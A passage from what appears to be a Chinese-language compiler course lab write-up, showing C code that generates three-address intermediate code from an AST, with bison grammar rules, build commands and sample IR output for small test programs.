        case PLUS:
        case PPLUS: // 加加(改名)
        case PLUSASSIGNOP: // 加等于(改名)
        case MINUS:
        case MMINUS: // 减减(改名)
        case MINUSASSIGNOP: // 减等于(改名)
        case STAR:
        case STARASSIGNOP: // 乘等于(改名)
        case DIV:
        case DIVASSIGNOP: // 除等于(改名)
        case NOT:
        case UMINUS:
        case FUNC_CALL:
        case EXP_ARRAY:
            Exp(T); //处理基本表达式
            break;
        }
    }
}

上述展示的节点类型并不完整，有些类型的处理函数会出现在其子函数中

这里要补充一下：和上个实验相比，新填了3个节点：

STRUCT_TAG：结构体名称

OptTag	: {$$=NULL;}
		| ID {$$=mknode(STRUCT_TAG,NULL,NULL,NULL,yylineno);strcpy($$->struct_name,$1);}
		;
Tag	: ID {$$=mknode(STRUCT_TAG,NULL,NULL,NULL,yylineno);strcpy($$->struct_name,$1);}
	;

STRUCT_DEF：结构体定义
STRUCT_DEC：结构体声明

1
2
3

StructSpecifier : STRUCT OptTag LC DefList RC {$$=mknode(STRUCT_DEF,$2,$4,NULL,yylineno);}
			   | STRUCT Tag  {$$=mknode(STRUCT_DEC,$2,NULL,NULL,yylineno);}
			   ;

修改了1个节点：（另外几个只是改了名字，代码没有变）

FOR：FOR 语句

Stmt:   Exp SEMI    {$$=mknode(EXP_STMT,$1,NULL,NULL,yylineno);}
      | CompSt      {$$=$1;}     
      | RETURN Exp SEMI   {$$=mknode(RETURN,$2,NULL,NULL,yylineno);}
      | IF LP Exp RP Stmt %prec LOWER_THEN_ELSE   {$$=mknode(IF_THEN,$3,$5,NULL,yylineno);}
      | IF LP Exp RP Stmt ELSE Stmt   {$$=mknode(IF_THEN_ELSE,$3,$5,$7,yylineno);}
      | WHILE LP Exp RP Stmt {$$=mknode(WHILE,$3,$5,NULL,yylineno);}
      | FOR LP ForDec RP Stmt {$$=mknode(FOR,$3,$5,NULL,yylineno);}
      ;

ForDec：FOR 语句列表

1
2
3

ForDec: Exp SEMI Exp SEMI Exp {$$=mknode(FOR_DEC,$1,$3,$5,yylineno);}
       | SEMI Exp SEMI {$$=mknode(FOR_DEC,NULL,$2,NULL,yylineno);}
       ;

中间代码的生成

核心结构体如下：

struct codenode
{   /* 三地址TAC代码结点 */
    int op;                        // TAC代码的运算符种类
    struct opn opn1, opn2, result; // 2个操作数和运算结果
    struct codenode *next, *prior; // 采用双向循环链表存放中间语言代码
};

用于描述操作数的结构体如下：

struct opn
{
    int kind; // 标识操作的类型
    int type; // 标识操作数的类型
    union {
        int const_int;     // 整常数值,立即数
        float const_float; // 浮点常数值,立即数
        char const_char;   // 字符常数值,立即数
        char *const_string;
        char id[33]; // 变量或临时变量的别名或标号字符串
        struct Array *type_array;
        struct Struct *type_struct;
    };
    int level;  // 变量的层号,0表示是全局变量,数据保存在静态数据区
    int offset; // 变量单元偏移量,或函数在符号表的定义位置序号,目标代码生成时用
};

中间代码生成的过程其实就是完成 codenode 双向链表，其中的 opn1, opn2, result 需要根据 “表 4-1 中间代码定义” 来进行填写

接下来就按照逻辑顺序，依次展示各个节点的中间代码的生成过程

全局变量定义（本实验的外部变量就是全局变量）

EXT_DEF_LIST：外部定义列表（EXT_VAR_DEF | ARRAY_DEF | FUNC_DEF，EXT_DEF_LIST）

void ext_def_list(struct node *T)
{
    if (!T->ptr[0])
        return;

    T->ptr[0]->offset = T->offset; // 语义分析之前先设置偏移地址
    semantic_Analysis(T->ptr[0]); // 访问外部定义列表中的第一个
    T->code = T->ptr[0]->code; // 之后会合并code

    if (T->ptr[1]) /* 第2棵子树指向下一个EXT_DEF_LIST节点,可为NULL */
    {
        T->ptr[1]->offset = T->ptr[0]->offset + T->ptr[0]->width;
        semantic_Analysis(T->ptr[1]); // 访问该外部定义列表中的其它外部定义
        T->code = merge(2, T->code, T->ptr[1]->code); // 合并code
    }
}

函数 merge：合并多个中间代码的双向循环链表，首尾相连

EXT_VAR_DEF：外部变量声明（TYPE，EXT_DEC_LIST）

void ext_var_def(struct node *T)
{
    if (!strcmp(T->ptr[0]->type_id, "int")) /* 变量类型判断 */
    {
        T->type = T->ptr[1]->type = INT;
        T->ptr[1]->width = 4; /* 解释该类型的实际大小 */
    }
    if (!strcmp(T->ptr[0]->type_id, "float"))
    {
        T->type = T->ptr[1]->type = FLOAT;
        T->ptr[1]->width = 8;
    }
    if (!strcmp(T->ptr[0]->type_id, "char"))
    {
        T->type = T->ptr[1]->type = CHAR;
        T->ptr[1]->width = 1;
    }
    T->ptr[1]->offset = T->offset; 				// 这个外部变量的偏移量向下传递
    ext_var_list(T->ptr[1]);                        // 处理外部变量中的标识符序列
    T->width = (T->ptr[1]->width) * T->ptr[1]->num; // 计算这个外部变量声明的宽度
    T->code = NULL;                                 // 这里假定外部变量不支持初始化
}

EXT_DEC_LIST 节点中可能记录了类型相同的多个变量声明，需要递归处理
假定全局变量不支持初始化，因此不需要设置中间代码 code

EXT_DEC_LIST：变量名称列表（ID，EXT_DEC_LIST）

ID：变量名称（ID）

void ext_var_list(struct node *T)
{
    int rtn, num = 1;
    switch (T->kind)
    {
    case EXT_DEC_LIST: /* EXT_DEC_LIST节点必然存在两棵子树 */
        T->ptr[0]->type = T->type;                //将类型属性向下传递变量结点
        T->ptr[0]->offset = T->offset;            //外部变量的偏移量向下传递
        T->ptr[1]->type = T->type;                //将类型属性向下传递变量结点
        T->ptr[1]->offset = T->offset + T->width; //外部变量的偏移量向下传递
        T->ptr[1]->width = T->width;
        ext_var_list(T->ptr[0]); /* 进入ID */
        ext_var_list(T->ptr[1]); /* 进入EXT_DEC_LIST */
        T->num = T->ptr[1]->num + 1;
        break;
    case ID:
        rtn = fillSymbolTable(T->type_id, newAlias(), LEV, T->type, 'V', T->offset); // 最后一个变量名
        if (rtn == -1)
            semantic_error(T->pos, T->type_id, "变量重复定义，语义错误");
        else
            T->place = rtn;
        T->num = 1;
        break;
    default:
        break;
    }
}

函数 fillSymbolTable：根据 name 查符号表，不能重复定义：
- 重复定义，则返回 -1
- 不重复定义，则填表并返回符号在符号表中的位置序号

分析以上这3个函数的流程，就可以大概清楚属性计算的流程，在遍历 AST 的过程中就可以自下而上来分析节点属性

函数定义

FUNC_DEF：函数定义（TYPE，FUNC_DEC，COMP_STM）

void func_def(struct node *T)
{
    if (!strcmp(T->ptr[0]->type_id, "int"))
    {
        T->ptr[1]->type = INT;
    }
    if (!strcmp(T->ptr[0]->type_id, "float"))
    {
        T->ptr[1]->type = FLOAT;
    }
    if (!strcmp(T->ptr[0]->type_id, "char"))
    {
        T->ptr[1]->type = CHAR;
    }
    T->width = 0;            //函数的宽度设置为0,不会对外部变量的地址分配产生影响
    T->offset = DX;			//设置局部变量在活动记录中的偏移量初值
    semantic_Analysis(T->ptr[1]);  //处理函数名和参数结点部分(不考虑寄存器传参)
    T->offset += T->ptr[1]->width; //用形参单元宽度修改函数局部变量的起始偏移量
    T->ptr[2]->offset = T->offset;
    strcpy(T->ptr[2]->Snext, newLabel()); //函数体语句执行结束后的位置属性
    semantic_Analysis(T->ptr[2]);         //处理函数体结点
    //计算活动记录大小,这里offset属性存放的是活动记录大小,不是偏移
    symbolTable.symbols[T->ptr[1]->place].offset = T->offset + T->ptr[2]->width;
    T->code = merge(3, T->ptr[1]->code, T->ptr[2]->code, genLabel(T->ptr[2]->Snext)); //函数体的代码作为函数的代码
}

函数 newLabel：生成一个标号，标号命名形式为 “LABEL+序号”
函数 genLabel：生成标号语句

FUNC_DEC：函数声明（PARAM_LIST）

void func_dec(struct node *T)
{
    int rtn;
    struct opn opn1, opn2, result;
    rtn = fillSymbolTable(T->type_id, newAlias(), LEV, T->type, 'F', 0); //函数不在数据区中分配单元,偏移量为0
    if (rtn == -1)
    {
        semantic_error(T->pos, T->type_id, "函数名重复使用，可能是函数重复定义，语义错误");
        return;
    }
    else
        T->place = rtn;
    result.kind = ID;
    strcpy(result.id, T->type_id);
    result.offset = rtn;
    T->code = genIR(FUNCTION, opn1, opn2, result); //生成中间代码:FUNCTION 函数名
    T->offset = DX;                                //设置形式参数在活动记录中的偏移量初值
    if (T->ptr[0]) /* 判断是否有参数 */
    { 
        T->ptr[0]->offset = T->offset;
        semantic_Analysis(T->ptr[0]); //处理函数参数列表
        T->width = T->ptr[0]->width;
        symbolTable.symbols[rtn].paramnum = T->ptr[0]->num;
        T->code = merge(2, T->code, T->ptr[0]->code); //连接函数名和参数代码序列
    }
    else
        symbolTable.symbols[rtn].paramnum = 0, T->width = 0;
}

函数 genIR：生成一条 TAC 的中间代码语句
- 一般情况下，TAC 中涉及到2个运算对象和运算结果
- 如果是局部变量或临时变量，表示在运行时，其对应的存储单元在活动记录中，这时需要将其偏移量 offset 和数据类型同时带上，方便最后的目标代码生成
- 全局变量也需要带上偏移量
查中间代码表可知 “FUNCTION 函数名” 不需要 opn1 opn2，只需要 result

PARAM_LIST：参数定义列表（PARAM_DEC）

void param_list(struct node *T)
{
    T->ptr[0]->offset = T->offset;
    semantic_Analysis(T->ptr[0]);
    if (T->ptr[1])
    {
        T->ptr[1]->offset = T->offset + T->ptr[0]->width;
        semantic_Analysis(T->ptr[1]);
        T->num = T->ptr[0]->num + T->ptr[1]->num;             //统计参数个数
        T->width = T->ptr[0]->width + T->ptr[1]->width;       //累加参数单元宽度
        T->code = merge(2, T->ptr[0]->code, T->ptr[1]->code); //连接参数代码
    }
    else
    {
        T->num = T->ptr[0]->num;
        T->width = T->ptr[0]->width;
        T->code = T->ptr[0]->code;
    }
}

PARAM_DEC：参数定义（TYPE，ID）

void param_dec(struct node *T)
{
    int rtn;
    struct opn opn1, opn2, result;
    rtn = fillSymbolTable(T->ptr[1]->type_id, newAlias(), 1, T->ptr[0]->type, 'P', T->offset);
    if (rtn == -1)
        semantic_error(T->ptr[1]->pos, T->ptr[1]->type_id, "参数名重复定义,语义错误");
    else
        T->ptr[1]->place = rtn;
    T->num = 1;                                //参数个数计算的初始值
    T->width = T->ptr[0]->type == INT ? 4 : 8; //参数宽度
    result.kind = ID;
    strcpy(result.id, symbolTable.symbols[rtn].alias);
    result.offset = T->offset;
    T->code = genIR(PARAM, opn1, opn2, result); //生成:PARAM 形参名
}

生成形式参数的中间代码

COMP_STM：复合语句（DEF_LIST，STM_LIST）

void comp_stm(struct node *T)
{
    LEV++; //设置层号加1,并且保存该层局部变量在符号表中的起始位置在symbol_scope_TX
    symbol_scope_TX.TX[symbol_scope_TX.top++] = symbolTable.index;
    T->width = 0;
    T->code = NULL;
    if (T->ptr[0])
    {
        T->ptr[0]->offset = T->offset;
        semantic_Analysis(T->ptr[0]); //处理该层的局部变量DEF_LIST
        T->width += T->ptr[0]->width;
        T->code = T->ptr[0]->code;
    }
    if (T->ptr[1])
    {
        T->ptr[1]->offset = T->offset + T->width;
        strcpy(T->ptr[1]->Snext, T->Snext); //S.next属性向下传递
        semantic_Analysis(T->ptr[1]); //处理复合语句的语句列表STM_LIST
        T->width += T->ptr[1]->width;
        T->code = merge(2, T->code, T->ptr[1]->code);
    }
    LEV--; //出复合语句,层号减1
    symbolTable.index = symbol_scope_TX.TX[--symbol_scope_TX.top]; //删除该作用域中的符号
}

symbol_scope_TX 是一个存放 symbolTable.index 的栈结构

表达式

下面给一个通用表达式 Exp 的案例：

void Exp(struct node *T)
{
    if (T)
    {
        switch (T->kind)
        {
            case ID: // 名称(符号)
                id_exp(T);
                break;
            case CHAR: // char类型
                char_exp(T);
                break;
            case INT: // int类型
                int_exp(T);
                break;
            case FLOAT: // float类型
                float_exp(T);
                break;
            case ASSIGNOP: // 赋值
                assignop_exp(T);
                break;
            case PPLUS: // 加减
            case MMINUS: // 减减
                oop_exp(T);
                break;
            case AND: // 且
            case OR: // 或
            case RELOP: // 二元运算符
                relop_exp(T);
                break;
            case PLUSASSIGNOP: // 加等于
            case MINUSASSIGNOP: // 减等于
            case STARASSIGNOP: // 乘等于
            case DIVASSIGNOP: // 除等于
            case PLUS: // 加
            case MINUS: // 减
            case STAR: // 乘
            case DIV: // 除
                op_exp(T);
                break;
            case FUNC_CALL: //根据T->type_id查出函数的定义,如果语言中增加了实验教材的read,write需要单独处理一下
                func_call_exp(T);
                break;
            case ARGS: //此处仅处理各实参表达式的求值的代码序列,不生成ARG的实参系列
                args_exp(T);
                break;
        }
    }
}

表达式 Exp 的类型很多，这里只选择几个简单分析：

ID：名称（NULL）

void id_exp(struct node *T)
{
    int rtn;

    rtn = searchSymbolTable(T->type_id);
    if (rtn == -1)
        semantic_error(T->pos, T->type_id, "变量未声明定义就引用，语义错误");
    if (symbolTable.symbols[rtn].flag == 'F')
        semantic_error(T->pos, T->type_id, "是函数名，不是普通变量，语义错误");
    else
    {
        T->place = rtn; //结点保存变量在符号表中的位置
        T->code = NULL; //标识符不需要生成TAC
        T->type = symbolTable.symbols[rtn].type;
        T->offset = symbolTable.symbols[rtn].offset;
        T->width = 0; //未再使用新单元
    }
}

INT：int 类型（其他基础类型同理）

void int_exp(struct node *T){
    struct opn opn1, opn2, result;
    T->place = temp_add(newTemp(), LEV, T->type, 'T', T->offset); //为整常量生成一个临时变量
    T->type = INT;
    opn1.kind = INT;
    opn1.const_int = T->type_int;
    result.kind = ID;
    strcpy(result.id, symbolTable.symbols[T->place].alias);
    result.offset = symbolTable.symbols[T->place].offset;
    T->code = genIR(ASSIGNOP, opn1, opn2, result);
    T->width = 4;
}

返回局部变量会生成一个临时变量，由于 int 和 float 会参与计算，因此需要一个临时变量来存储计算的结果
函数 temp_add：填写临时变量到符号表，返回临时变量在符号表中的位置

ASSIGNOP：赋值（ID，Exp）

void assignop_exp(struct node *T)
{
    struct opn opn1, opn2, result;
    if (T->ptr[0]->kind != ID)
    {
        semantic_error(T->pos, "", "赋值语句没有左值，语义错误");
    }
    else
    {
        Exp(T->ptr[0]); //处理左值,例中仅为变量
        T->ptr[1]->offset = T->offset;
        Exp(T->ptr[1]); //处理右值
        T->type = T->ptr[0]->type;
        T->width = T->ptr[1]->width;
        T->code = merge(2, T->ptr[0]->code, T->ptr[1]->code);

        opn1.kind = ID;
        strcpy(opn1.id, symbolTable.symbols[T->ptr[1]->place].alias); //右值一定是个变量或临时变量
        opn1.offset = symbolTable.symbols[T->ptr[1]->place].offset;
        result.kind = ID;
        strcpy(result.id, symbolTable.symbols[T->ptr[0]->place].alias);
        result.offset = symbolTable.symbols[T->ptr[0]->place].offset;
        T->code = merge(2, T->code, genIR(ASSIGNOP, opn1, opn2, result)); //生成:x := y
    }
}

生成赋值语句的中间代码

FUNC_CALL：函数调用（ARGS）

void func_call_exp(struct node *T)
{
    int rtn,width;
    struct node *T0;
    struct opn opn1, opn2, result;
    rtn = searchSymbolTable(T->type_id);
    if (rtn == -1)
    {
        semantic_error(T->pos, T->type_id, "函数未定义，语义错误");
        return;
    }
    if (symbolTable.symbols[rtn].flag != 'F')
    {
        semantic_error(T->pos, T->type_id, "不是函数名，不能进行函数调用，语义错误");
        return;
    }
    T->type = symbolTable.symbols[rtn].type;
    width = T->type == INT ? 4 : 8; //存放函数返回值的单数字节数
    if (T->ptr[0]) //有调用参数
    {
        T->ptr[0]->offset = T->offset;
        Exp(T->ptr[0]);                      //处理所有实参表达式,求值及类型
        T->width = T->ptr[0]->width + width; //累加上计算实参使用临时变量的单元数
        T->code = T->ptr[0]->code;
    }
    else //无调用参数
    {
        T->width = width;
        T->code = NULL;
    }
    match_param(rtn, T->ptr[0]); //处理所有参数的匹配
    T0 = T->ptr[0];
    while (T0) //处理参数列表的中间代码
    {
        result.kind = ID;
        strcpy(result.id, symbolTable.symbols[T0->ptr[0]->place].alias);
        result.offset = symbolTable.symbols[T0->ptr[0]->place].offset;
        T->code = merge(2, T->code, genIR(ARG, opn1, opn2, result));
        T0 = T0->ptr[1];
    }
    T->place = temp_add(newTemp(), LEV, T->type, 'T', T->offset + T->width - width); /* 临时变量用于存储函数的返回值 */
    opn1.kind = ID;
    strcpy(opn1.id, T->type_id); //保存函数名
    opn1.offset = rtn;           //这里offset用以保存函数定义入口,在目标代码生成时，能获取相应信息
    result.kind = ID;
    strcpy(result.id, symbolTable.symbols[T->place].alias);
    result.offset = symbolTable.symbols[T->place].offset;
    T->code = merge(2, T->code, genIR(CALL, opn1, opn2, result)); //生成:x := CALL 函数名
}

生成函数调用中间代码
函数 match_param：匹配函数参数

ARGS：函数参数（Exp | Exp，Args）

void args_exp(struct node *T)
{
    T->ptr[0]->offset = T->offset;
    Exp(T->ptr[0]);
    T->width = T->ptr[0]->width;
    T->code = T->ptr[0]->code;
    if (T->ptr[1]) //存在多个参数
    {
        T->ptr[1]->offset = T->offset + T->ptr[0]->width;
        Exp(T->ptr[1]); //再次调用args_exp
        T->width += T->ptr[1]->width;
        T->code = merge(2, T->code, T->ptr[1]->code);
    }
}

语句列表

在开始分析选择/循环语句之前需要先分析：STM_LIST

STM_LIST：语句列表（Stmt-语句节点，STM_LIST）

void stmt_list(struct node *T)
{
    if (!T->ptr[0])
    {
        T->code = NULL;
        T->width = 0;
        return;
    }              //空语句序列
    if (T->ptr[1]) //2条以上语句连接,生成新标号作为第一条语句结束后到达的位置
        strcpy(T->ptr[0]->Snext, newLabel());
    else //语句序列仅有一条语句,S.next属性向下传递
        strcpy(T->ptr[0]->Snext, T->Snext);
    T->ptr[0]->offset = T->offset;
    semantic_Analysis(T->ptr[0]); /* 分析语句Stmt */
    T->code = T->ptr[0]->code; /* 将分析完毕的语句Stmt-code装回 */
    T->width = T->ptr[0]->width;
    if (T->ptr[1])
    { 
        strcpy(T->ptr[1]->Snext, T->Snext); //2条以上语句连接,S.next属性向下传递
        T->ptr[1]->offset = T->offset; //顺序结构共享单元方式
        semantic_Analysis(T->ptr[1]);
        //序列中第1条为表达式语句,返回语句,复合语句时,第2条前不需要标号
        if (T->ptr[0]->kind == RETURN || T->ptr[0]->kind == EXP_STMT || T->ptr[0]->kind == COMP_STM)
            T->code = merge(2, T->code, T->ptr[1]->code);
        else
            T->code = merge(3, T->code, genLabel(T->ptr[0]->Snext), T->ptr[1]->code);
        if (T->ptr[1]->width > T->width)
            T->width = T->ptr[1]->width; //顺序结构共享单元方式
    }
}

函数 newLabel 会生成一个标号，用于记录 if 语句为真时跳转的位置
只要 STM_LIST 节点的 STM_LIST 子树存在，程序就会给 Stmt 子树分配一个标号
根据代码逻辑，在选择/循环语句后必定有一个 LABEL labeln，用于标记跳转

SEMI：语句（Stmt-语句节点）

语句的类型很多，这里重点分析选择语句和循环语句

选择/循环语句

IF_THEN_ELSE：IF ELSE 语句（Exp，Stmt-语句节点，Stmt-语句节点）

void if_then_else(struct node *T)
{
    strcpy(T->ptr[0]->Etrue, newLabel()); //设置条件语句真假转移位置
    strcpy(T->ptr[0]->Efalse, newLabel());
    T->ptr[0]->offset = T->ptr[1]->offset = T->ptr[2]->offset = T->offset;
    boolExp(T->ptr[0]); //条件,要单独按短路代码处理
    T->width = T->ptr[0]->width;
    strcpy(T->ptr[1]->Snext, T->Snext);
    semantic_Analysis(T->ptr[1]); //if子句
    if (T->width < T->ptr[1]->width)
        T->width = T->ptr[1]->width;
    strcpy(T->ptr[2]->Snext, T->Snext);
    semantic_Analysis(T->ptr[2]); //else子句
    if (T->width < T->ptr[2]->width)
        T->width = T->ptr[2]->width;
    T->code = merge(6, T->ptr[0]->code, /* Exp子句-code */
                    genLabel(T->ptr[0]->Etrue),
                    T->ptr[1]->code, /* if子句-code */
                    genGoto(T->Snext),
                    genLabel(T->ptr[0]->Efalse), 
                    T->ptr[2]->code); /* else子句-code */
}

函数 genGoto：生成 GOTO 语句，返回头指针
函数 genLabel：生成标号语句
函数 boolExp 用于判断 Exp 是否为真
在 “Exp子句” 中会调用一次 genGoto，根据条件跳转到 “if子句”，否则跳转到 “else子句”
在 “if子句” 中也会调用一次 genGoto，跳转到 “if-else语句” 结束
当 “else子句” 执行完毕时，“if-else语句” 结束
注意：程序将直接执行 boolExp，而不是去分析 T->ptr[0]，这样会导致函数调用无法生效（函数调用的核心代码在 Exp 中）

void boolExp(struct node *T)
{
    struct opn opn1, opn2, result;
    int op;
    int rtn;
    if (T)
    {
        switch (T->kind)
        {
            case INT: /* 非'0'则真 */
                if (T->type_int != 0)
                    T->code = genGoto(T->Etrue);
                else
                    T->code = genGoto(T->Efalse);
                T->width = 0;
                break;
            case FLOAT: /* 非'0'则真 */
                if (T->type_float != 0.0)
                    T->code = genGoto(T->Etrue);
                else
                    T->code = genGoto(T->Efalse);
                T->width = 0;
                break;
            case ID: /* 查符号表,获得符号表中的位置(不支持函数调用) */
                rtn = searchSymbolTable(T->type_id);
                if (rtn == -1)
                    semantic_error(T->pos, T->type_id, "变量未定义，语义错误");
                if (symbolTable.symbols[rtn].flag == 'F'){
                    semantic_error(T->pos, T->type_id, "是函数名，不是普通变量，语义错误");
                }
                else
                {
                    opn1.kind = ID;
                    strcpy(opn1.id, symbolTable.symbols[rtn].alias);
                    opn1.offset = symbolTable.symbols[rtn].offset;
                    opn2.kind = INT;
                    opn2.const_int = 0;
                    result.kind = ID;
                    strcpy(result.id, T->Etrue);
                    T->code = genIR(NEQ, opn1, opn2, result);
                    T->code = merge(2, T->code, genGoto(T->Efalse));
                }
                T->width = 0;
                break;
            case RELOP: /* 处理关系运算表达式,2个操作数都按基本表达式处理 */
                T->ptr[0]->offset = T->ptr[1]->offset = T->offset;
                Exp(T->ptr[0]);
                T->width = T->ptr[0]->width;
                Exp(T->ptr[1]);
                if (T->width < T->ptr[1]->width)
                    T->width = T->ptr[1]->width;
                opn1.kind = ID;
                strcpy(opn1.id, symbolTable.symbols[T->ptr[0]->place].alias);
                opn1.offset = symbolTable.symbols[T->ptr[0]->place].offset;
                opn2.kind = ID;
                strcpy(opn2.id, symbolTable.symbols[T->ptr[1]->place].alias);
                opn2.offset = symbolTable.symbols[T->ptr[1]->place].offset;
                result.kind = ID;
                strcpy(result.id, T->Etrue);
                if (strcmp(T->type_id, "<") == 0)
                    op = JLT;
                else if (strcmp(T->type_id, "<=") == 0)
                    op = JLE;
                else if (strcmp(T->type_id, ">") == 0)
                    op = JGT;
                else if (strcmp(T->type_id, ">=") == 0)
                    op = JGE;
                else if (strcmp(T->type_id, "==") == 0)
                    op = EQ;
                else if (strcmp(T->type_id, "!=") == 0)
                    op = NEQ;
                T->code = genIR(op, opn1, opn2, result);
                T->code = merge(4, T->ptr[0]->code, T->ptr[1]->code, T->code, genGoto(T->Efalse));
                break;
            case AND:
            case OR:
                if (T->kind == AND)
                {
                    strcpy(T->ptr[0]->Etrue, newLabel());
                    strcpy(T->ptr[0]->Efalse, T->Efalse);
                }
                else
                {
                    strcpy(T->ptr[0]->Etrue, T->Etrue);
                    strcpy(T->ptr[0]->Efalse, newLabel());
                }
                strcpy(T->ptr[1]->Etrue, T->Etrue);
                strcpy(T->ptr[1]->Efalse, T->Efalse);
                T->ptr[0]->offset = T->ptr[1]->offset = T->offset;
                boolExp(T->ptr[0]);
                T->width = T->ptr[0]->width;
                boolExp(T->ptr[1]);
                if (T->width < T->ptr[1]->width)
                    T->width = T->ptr[1]->width;
                if (T->kind == AND)
                    T->code = merge(3, T->ptr[0]->code, genLabel(T->ptr[0]->Etrue), T->ptr[1]->code);
                else
                    T->code = merge(3, T->ptr[0]->code, genLabel(T->ptr[0]->Efalse), T->ptr[1]->code);
                break;
            case NOT: /* 交换Efalse与Etrue */
                strcpy(T->ptr[0]->Etrue, T->Efalse);
                strcpy(T->ptr[0]->Efalse, T->Etrue);
                boolExp(T->ptr[0]);
                T->code = T->ptr[0]->code;
                break;
            case FUNC_CALL: /* 函数调用(不支持) */
                semantic_error(T->pos, T->type_id, "暂时不支持函数调用");
                break;
            default:
                break;
        }
    }
}

WHILE：WHILE 语句（Exp，Stmt-语句节点）

void while_dec(struct node *T)
{
    strcpy(T->ptr[0]->Etrue, newLabel()); //子结点继承属性的计算
    strcpy(T->ptr[0]->Efalse, T->Snext);
    T->ptr[0]->offset = T->ptr[1]->offset = T->offset;
    boolExp(T->ptr[0]); //循环条件,要单独按短路代码处理
    T->width = T->ptr[0]->width;
    strcpy(T->ptr[1]->Snext, newLabel());
    semantic_Analysis(T->ptr[1]); //while子句-循环体
    if (T->width < T->ptr[1]->width)
        T->width = T->ptr[1]->width;
    T->code = merge(5, genLabel(T->ptr[1]->Snext), T->ptr[0]->code,
                    genLabel(T->ptr[0]->Etrue), T->ptr[1]->code, genGoto(T->ptr[1]->Snext));
}

程序会在 “Exp子句” 之前写入一个 LABEL labeln
在 “Exp子句” 中会调用一次 genGoto，根据条件跳转到 “while子句”，否则结束 “while语句”
当 “while子句” 结束时会自动跳转到 “Exp子句” 开始新一轮循环

FOR：FOR 语句（FOR_DEC，Stmt-语句节点）

void for_dec(struct node* T)
{
    strcpy(T->ptr[0]->Etrue, newLabel()); 
    strcpy(T->ptr[0]->Efalse, T->Snext);
    T->ptr[0]->offset = T->ptr[1]->offset = T->offset;
    semantic_Analysis(T->ptr[0]); 
    strcpy(T->ptr[1]->Snext, newLabel());
    semantic_Analysis(T->ptr[1]); 
    if (T->width < T->ptr[1]->width)
        T->width = T->ptr[1]->width;
    T->code = merge(7, T->ptr[0]->ptr[0]->code, 
                    genLabel(T->ptr[1]->Snext), T->ptr[0]->ptr[1]->code,
                    genLabel(T->ptr[0]->ptr[1]->Etrue), T->ptr[1]->code, 
                    T->ptr[0]->ptr[2]->code, genGoto(T->ptr[1]->Snext));
}

函数 for_dec 调用后，函数 for_list 必被调用

ForDec：FOR 语句列表（Exp，Exp，Exp）

void for_list(struct node* T){
    if(T->ptr[0]!=NULL){
        T->ptr[0]->offset = T->ptr[2]->offset = T->offset;
        if(T->ptr[0]->kind == ASSIGNOP){
            semantic_Analysis(T->ptr[0]);
        }
        else{
            semantic_error(T->pos, "", "for wrong\n");
        }
        if(T->ptr[2]->kind != ASSIGNOP){
            semantic_Analysis(T->ptr[2]);
        }
        else{
            semantic_error(T->pos, "", "for wrong\n");
        }
    }

    T->ptr[1]->offset = T->offset; 
    strcpy(T->ptr[1]->Etrue, T->Etrue); 
    strcpy(T->ptr[1]->Efalse, T->Efalse);
    boolExp(T->ptr[1]);
    T->width = T->ptr[0]->width+T->ptr[1]->width+T->ptr[2]->width;
}

不更新 T->code，方便交给 for_dec 函数来控制顺序

基础运算

加减乘除：PLUS，MINUS，STAR，DIV（Exp，Exp）

void op_exp(struct node *T)
{
    struct opn opn1, opn2, result;
    T->ptr[0]->offset = T->offset;
    Exp(T->ptr[0]); /* 处理第一个表达式 */
    T->ptr[1]->offset = T->offset + T->ptr[0]->width;
    Exp(T->ptr[1]); /* 处理第二个表达式 */
    /* 判断T->ptr[0],T->ptr[1]类型是否正确
    可能根据运算符生成不同形式的代码,给T的type赋值 */
    T->type = INT, T->width = T->ptr[0]->width + T->ptr[1]->width + 2;

    T->place = temp_add(newTemp(), LEV, T->type, 'T', T->offset + T->ptr[0]->width + T->ptr[1]->width);
    opn1.kind = ID;
    strcpy(opn1.id, symbolTable.symbols[T->ptr[0]->place].alias);
    opn1.type = T->ptr[0]->type;
    opn1.offset = symbolTable.symbols[T->ptr[0]->place].offset;
    opn2.kind = ID;
    strcpy(opn2.id, symbolTable.symbols[T->ptr[1]->place].alias);
    opn2.type = T->ptr[1]->type;
    opn2.offset = symbolTable.symbols[T->ptr[1]->place].offset;
    result.kind = ID;
    strcpy(result.id, symbolTable.symbols[T->place].alias);
    result.type = T->type;
    result.offset = symbolTable.symbols[T->place].offset;
    T->code = merge(3, T->ptr[0]->code, T->ptr[1]->code, genIR(T->kind, opn1, opn2, result)); 
    T->width = T->ptr[0]->width + T->ptr[1]->width + 4;//INT
}

函数 temp_add 生成的临时变量在赋值语句 ASSIGNOP 中才有作用
虽然 T->code 的次序为 opnstr1 opnstr2 op，但在 print_IR 函数打印时可以调整它的次序

加加减减：PPLUS，MMINUS（Exp）

void oop_exp(struct node *T){
    struct opn opn1, opn2, result;
    T->ptr[0]->offset = T->offset;
    Exp(T->ptr[0]);

    T->type = INT, T->width = T->ptr[0]->width;

    opn1.kind = ID;
    strcpy(opn1.id, symbolTable.symbols[T->ptr[0]->place].alias);
    opn1.type = T->ptr[0]->type;
    opn1.offset = symbolTable.symbols[T->ptr[0]->place].offset;

    T->code = merge(2, T->ptr[0]->code, genIR(T->kind, opn1, opn2, result));
    T->width = T->ptr[0]->width;
}

最终的完整代码有 1200 多行，就不放出了

编译与结果

编译命令：

1
2
3

flex lexer.l
bison -d -v parser.y
gcc display.c semantic_analysis.c parser.tab.c lex.yy.c -lfl -o test3

测试文件1：

int fact(int n){
	int temp;
	temp = n;
	if(n==1)
		n=2;
	else{
		n=3;
	}
	fact(n);
	return n;
}

结果1：

FUNCTION fact :
  PARAM var2
  var3 := var2
  temp1 := #1
  IF var2 == temp1 GOTO label4
  GOTO label5
LABEL label4 :
  temp2 := #2
  var2 := temp2
  GOTO label3
LABEL label5 :
  temp3 := #3
  var2 := temp3
LABEL label3 :
  ARG var2
  temp4 := CALL fact
  RETURN var2
LABEL label1 :

测试文件2：

int main(char c)
{
	int c1 = 5;
	int c2 = 6;
	int c3 = 7;
	int c4 = 8;
	int c5 = 9;
	
	c3 = (c1+c2*c3)*(c5-c4);
	c1++;
}

结果2：

FUNCTION main :
  PARAM var2
  temp1 := #5
  var3 := temp1
  temp2 := #6
  var4 := temp2
  temp3 := #7
  var5 := temp3
  temp4 := #8
  var6 := temp4
  temp5 := #9
  var7 := temp5
  temp6 := var4 * var5
  temp7 := var3 + temp6
  temp8 := var7 - var6
  temp9 := temp7 * temp8
  var5 := temp9
  var3 := var3 + 1
LABEL label1 :

测试文件3：

int n;
int main(char c)
{
	int c1 = 5;
	n = 0;

	while(c1>1){
		n = n+1;
	}
	return n;
}

结果3：

FUNCTION main :
  PARAM var3
  temp1 := #5
